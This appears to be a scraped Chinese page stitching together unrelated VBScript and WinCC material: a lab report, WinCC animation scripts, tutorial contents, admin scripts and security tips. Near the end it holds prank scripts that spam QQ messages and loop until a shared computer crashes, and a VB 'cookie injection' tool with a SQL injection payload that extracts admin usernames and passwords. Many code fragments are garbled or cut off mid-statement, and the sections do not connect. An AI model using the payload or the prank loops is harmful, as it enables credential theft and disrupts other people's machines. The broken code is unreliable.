的纠错处理处理网页中的错误。三、实验代码 身份证查询程序 请输入 18 位身份证号：： 四、实验总结 1、对 VBScript 有了更进一步的掌握，把学过的知识重新复习了一遍，并且利用到了实际的应用中。 2、对VBScript 中的函数的编写不够熟练。 3、对系统中的的一些关于数值进行限制的代码的编写不够熟练。 4、应该更好的利用网络资源和增强与同学相互交流的能力。运城学院实验报告（续） 1、正确的结果 2、身份证号码不合法 3、身份证号不能为空 4、身份证号码错误，请重新输入！ 5、身份证中不能有字母 WINCC动画脚本 电机风扇旋转（几何---起始角度）： #include "apdefap.h" long _main(char* lpszPictureName, char* lpszObjectName, char* lpszPropertyName) { static DWORD f=20; if (GetTagBit("DI电机运行信号")) { f= f+30; if (f==360) (f=0); } return f; } 电机风扇旋转（几何---结束角度）： #include "apdefap.h" long _main(char* lpszPictureName, char* lpszObjectName, char* lpszPropertyName) { static DWORD i=80; if (GetTagBit("DI电机运行信号")) { i = i+30; if (i==360) (i=0); } return i; } **物料水平右移动（几何---位置X）（停车后，物料回到原点）** #include "apdefap.h" long _main(char* lpszPictureName, char* lpszObjectName, char* lpszPropertyName) { static int a=350; if (GetTagBit("DI电机运行信号") && (a<=730)) { a+=20; if (a>=720) (a=350); } if (!GetTagBit("DI电机运行信号")) (a=350); return a; } 物料水平右移动（几何---位置X）（停车后，物料停在该点） #include "apdefap.h" long _main(char* lpszPictureName, char* lpszObjectName, char* lpszPropertyName) { static int a=350; if (GetTagBit("DI电机运行信号") && (a<=730)) { a+=20; if (a>=720) (a=350); } return a; 什么是_vb脚本 飞越网络VBScript教程 我想我要的很简单,一个是可以自动增加的 表格,另一个是初始页面的密码校验,后来 的 1、什么是 VBScript, .............................................................. (3) 1.1、易学易 用 ..................................................................... . (3) 1.2、ActiveX Script ................................................................. .. (4) 1.3、其他应用程序和浏览器中的 VBScript .............................................................. 4 2、在 HTML 页面中添加 VBScript 代 码 ..................................................................... (4) 3、VBScript 数据类 型 ..................................................................... .. (6) 3.1、什么是 VBScript 数据类 型, .................................................................... . (6) 3.2、Variant 子类 型 ..................................................................... ...................................... 7 4、VBScript 变 量 ..................................................................... .. (8) 4.1、什么是变 量, .................................................................... .. (8) 4.2、声明变 量 ..................................................................... . (9) 4.3、命名规 则 ..................................................................... . (9) 4.4、变量的作用域与存活 期 ..................................................................... . (9) 4.5、给变量赋值...................................................................... (10) 1，VB，最好安装VB6，先在VB6里面编写程序，然后再放到WinCC的脚本中，事半功倍，毕竟VB的调试非常方便。 a，插入引用 注意选择OLE Automation 和WinCC *****； b，可以直接在VB里面调用WinCC的全部变量，内部，外部全可以： 如下： c，在VB里面监视WinCC的变量： d，调试完毕，程序拷贝到WinCC 的脚本中。 2，C语言 系统提供了一个应用程序窗口，如下，只要把他拖到画面窗口即可： 2，使用Printf函数，把需要调试的内容打印出来； 3，效果如下： 希望对大家有点用处。 下面内容来自网络，感谢原文作者。 操作wincc画面脚本总结 一：不使用变量单纯的操作界面 1.操作某个画面中控件的属性如（总窗体）下的画面窗口2（画面窗口） Sub OnClick(ByVal Item) Dim objCircle Dim screenname Dim pwname Set objCircle= ScreenItems("圆1" ) = 60 Set screenname=("Home1") creenItems("画面窗口2") Set value= 2.更改画面窗口的对象 Sub OnClick(Byval Item) Dim opObject Set opObject= ("Home1").ScreenItems("画面窗口2") ="" End Sub 3.设置文本 Set titleTxt= ("Home1").ScreenItems("静态文本2") =+"EF" //获取文本的值并追加字符 字符串函数 VB的字符串截取函数有Left（字符串，n），返回字符串前N个字符；Mid（字符串，p，n），从第p个字符开始，向后截取N个字符；right（字符串，n），返回字符串的最后n个字符。 用WinCC读取VB的数据的方法一（DDE） 中的步骤： 1、新建一个“标准EXE”工程 2、设置窗体Form1的LinkMode属性为1 - Source, 一定要设定为1 3、在Form1上添加一个文本框控件Text1，将其Text属性设为text1 4、保存工程：工程名为 5、生成 WinCC的步骤： 1、新建一单用户项目 2、在变量管理器中添加Windows DDE驱动 3、在DDE下新建连接NewConnection，在其属性对话框中： VBS脚本实例 说明： 本文中所列出的脚本实例，均为本人因日常工作需要所写，已在生产环境中验证并使用（参数请自行修改），希望可以帮到有需要的人。但本人并非非常熟悉VBS脚本，属于现学现卖的，欢迎批评指正或是与VBS/PowerShell脚本相关的技术交流。谢谢！ 1AD相关 1.1迁移用户/计算机到指定OU ************************************************************************************** on error resume next Set fso = CreateObject("Scripting.FileSystemObject") Set basefile =fso.OpenTextFile("C:\base.txt",1) Set WSshell=CreateObject("Wscript.shell") Do Until basefile.AtEndOfLine = -1 '读取txt文件，直到最后一行结束 base = basefile.ReadLine comm = "cmd /c echo " & base & " >>C:\resualt.txt" WSshell.run comm,0,true If fso.fileexists("C:\" & base & ".txt") Then '判断是否有指定OU的txt文件 Set file=fso.OpenTextFile("C:\" & base & ".txt",1) '打开文件 Count = 0 ErrorCount = 0 disabledCount = 0 1 VBS VBS脚本病毒的大量流行使我们对VBS的功能有了一个全新的认识，现在大家对它也开始重视起来。VBS代码在本地是通过Windows Script Host(WSH)解释执行的。VBS脚本的执行离不开WSH，WSH是微软提供的一种基于32位Windows平台的、与语言无关的脚本解释机制，它使得脚本能够直接在Windows桌面或命令提示符下运行。利用WSH，用户能够操纵WSH 对象、ActiveX对象、注册表和文件系统。在Windows 2000下，还可用WSH来访问Windows NT活动目录服务。 用VBS编写的脚本程序在窗口界面是由文件解释执行的，在字符界面由文件解释执行。是一个脚本语言解释器，正是它使得脚本可以被执行，就象执行批处理一样。关于VBS大家一定比我熟悉多了，所以再不废话，直接进入主题，看看我总结的VBS在系统安全中的八则妙用吧。 一、给注册表编辑器解锁 用记事本编辑如下内容： DIM WSH SET WSH=("") ’击活对象 ("解锁注册表编辑器!") ’显示弹出信息“解锁注册表编辑器!” "HKCU/Software/Microsoft/Windows/CurrentVersion /Policies/System/DisableRegistryTools",0,"REG_DWORD" ’给注册表编辑器解锁 ("注册表解锁成功!") ’显示弹出信息“注册表解锁成功!” 保存为以.vbs为扩展名的文件，使用时双击即可。 二、关闭Win NT/2000的默认共享 用记事本编辑如下内容： Dim WSHShell’定义变量 set WSHShell=CreateObject("") ’创建一个能与操作系统沟通的对象WSHShell Dim fso,dc Set fso=CreateObject("")’创建文件系统对象 set dc= ’获取所有驱动器盘符 For Each d in dc Dim str ("net share"& &"$ /delete")’关闭所有驱动器的隐藏共享 next ("net share admin$ /delete") ("net share ipc$ /delete")’关闭admin$和ipc$管道共享 现在来测试一下，先打开，输入net share命令就可以看到自己机子上的共享。双击执行后，会看见窗口一闪而过。然后再在cmd里输入net share命令，这时候没有发现共享列表了三、显示本机IP地址 有许多时候，我们需要知道本机的IP地址，使用各种软件虽然可以办到，但用VBS脚本也非常的方便。用记事本编辑如下内容： Dim WS Set WS=CreateObject("") vbs整人代码大** 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> =--------------------------------------------------------------------------- On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit ---------------------------------------------------------------------------- QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do msgbox "You are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell VB编写Cookie 注入工具实例 作者穿山甲2008年1月 很早以前用VB写的cookie注入工具实例，放在柜里实在可惜，发来供VB友人共享，源程序也午网上还有，找不到的联系QQ:182442687索取 一、界面： 控件：3个label、8个text、4个Command 原理：主要利用webbrowser提交javascript语句（WebBrowser1.Navigate Text8.Text），更改当前cookie，然后刷新页面cookie值（WebBrowser1.Refresh） 利用语句：javascript:alert(document.cookie="id="+escape("52 and 1=l union select 1,username,password,4,5,6,7,8,9,10 from admin")) ---------------------------------------------------------------------------------------------------------------------- 二、代码： Private Sub Command2_Click() WebBrowser1.Navigate text1.Text '打开网站 End Sub Private Sub Command1_Click() Text2.Text = WebBrowser1.Document.cookie '获得当前面cookie值，并将值赋给text2.text End Sub Private Sub Command3_Click() '主要利用语句:javascript:alert(document.cookie="id="+escape("52 and 1=l union select 1,username,password,4,5,6,7,8,9,10 from admin")) Text8.Text = Text4.Text + Text5.Text + Text6.Text + Text3.Text + Text7.Text WebBrowser1.Navigate Text8.Text '提交cookie脚本，给ID赋值 End Sub Private Sub Command4_Click() On Error Resume Next WebBrowser1.Refresh '刷新页面，进行cookie注入 End Sub '下面是自适应窗体大小调整： '调整后的宽度text1.width = text1.width原值/ form1.scalewidth原值* 调整后的窗体宽度(Form1.ScaleWidth) '调整后的高度text1.height = text1.height原值/ form1.scaleheight原值* 调整后的窗体高度(Form1.Scaleheight) '调整后的左距text1.left = text1.left原值/ form1.scalewidth原值* 调整后的窗体宽度(Form1.ScaleWidth) '调整后的上距text1.top = text1.top原值/ form1.scaleheight原值* 调整后的窗体高度(Form1.Scaleheight) Private Sub Form_Resize() text1.Width = 7695 / 10665 * Form1.ScaleWidth text1.Height = 375 / 7995 * Form1.ScaleHeight text1.Left = 1320 / 10665 * Form1.ScaleWidth text1.Top = 180 / 7995 * Form1.ScaleHeight Text2.Width = 7695 / 10665 * Form1.ScaleWidth Text2.Height = 375 / 7995 * Form1.ScaleHeight Text2.Left = 1320 / 10665 * Form1.ScaleWidth Text2.Top = 780 / 7995 * Form1.ScaleHeight Text3.Width = 5895 / 10665 * Form1.ScaleWidth Text3.Height = 375 / 7995 * Form1.ScaleHeight Text3.Left = 3120 / 10665 * Form1.ScaleWidth Text3.Top = 1320 / 7995 * Form1.ScaleHeight Text5.Width = 795 / 10665 * Form1.ScaleWidth Text5.Height = 375 / 7995 * Form1.ScaleHeight Text5.Left = 1320 / 10665 * Form1.ScaleWidthVB函数大全_基本函数大全
VB编程实例
vb脚本
VBS脚本参考
VB操作wincc脚本心得
VB脚本处理字符串注意事项
组态注意事项： 下面说明了关于在 C 脚本中处理字符串时最重要的问题。必须考虑性能和稳定性因素。在不一致时，内存区可能被覆写，从而使系统 锁死 。 最坏的情况出现在字符指针。如果指针设计不当，内存区可能被覆写。下面是有关错误和正确组态的四个样例。
No. 描述: 1
没有预留内存区： char *a; a=GetTagChar("Tag name");
strcat(a,"xyz"); //有一个连接到文本的指针“a” //没有预留内存区
?
正确： 通过查询有效的指针将字符串正确复制到预定义的缓冲器中(来自描述 WinCC 信息系统的样例)： char* pszValue = NULL; char szValue[101]; pszValue = GetTagChar("Varname"); //读标签值并将其缓存到 pszValue。
/*如果返回一个有效值， 将该函数返回值存入局部字符串 szValue 中。 最多保存 100 个字符。*/ if(pszValue !=NULL) //!=NULL 是必须执行的检查 //以便保证没有 NULL 指针提交 { strncpy(szValue,pszValue,100); ... } else { printf("Pointer invalid\r\n"); //使用了无效值} }
?
2 没有预留足够的内存区： 通常，由于预留的内存区太小导致内存被覆写。在这些情况下，通常在 C 中进行字符串处理时，文本结尾的一个附加字符必须始 终被保留。也就是说，必须要比被处理的文本长度多预留出一个字符。
?
错误： char a[4]; strcpy(a,"1234"); //总是有 4 个字符被复制到一个 4 字符的数组中； // 错误：文本的结尾字符被遗漏
?
正确： char a[5];后台自动登录网页vb脚本实例代码
实验4 VB脚本病毒.
WinCC上可以很方便的编写VB脚本和C脚本
动态网页制作vb脚本字符串的处理
WINCC动画脚本动态实例
什么是_vb脚本
WinCC上可以很方便的编写VB脚本和C脚本
VBS脚本实例
常用vbs脚本
VB整人程序代码大全
VB编写的Cookie注入工具实例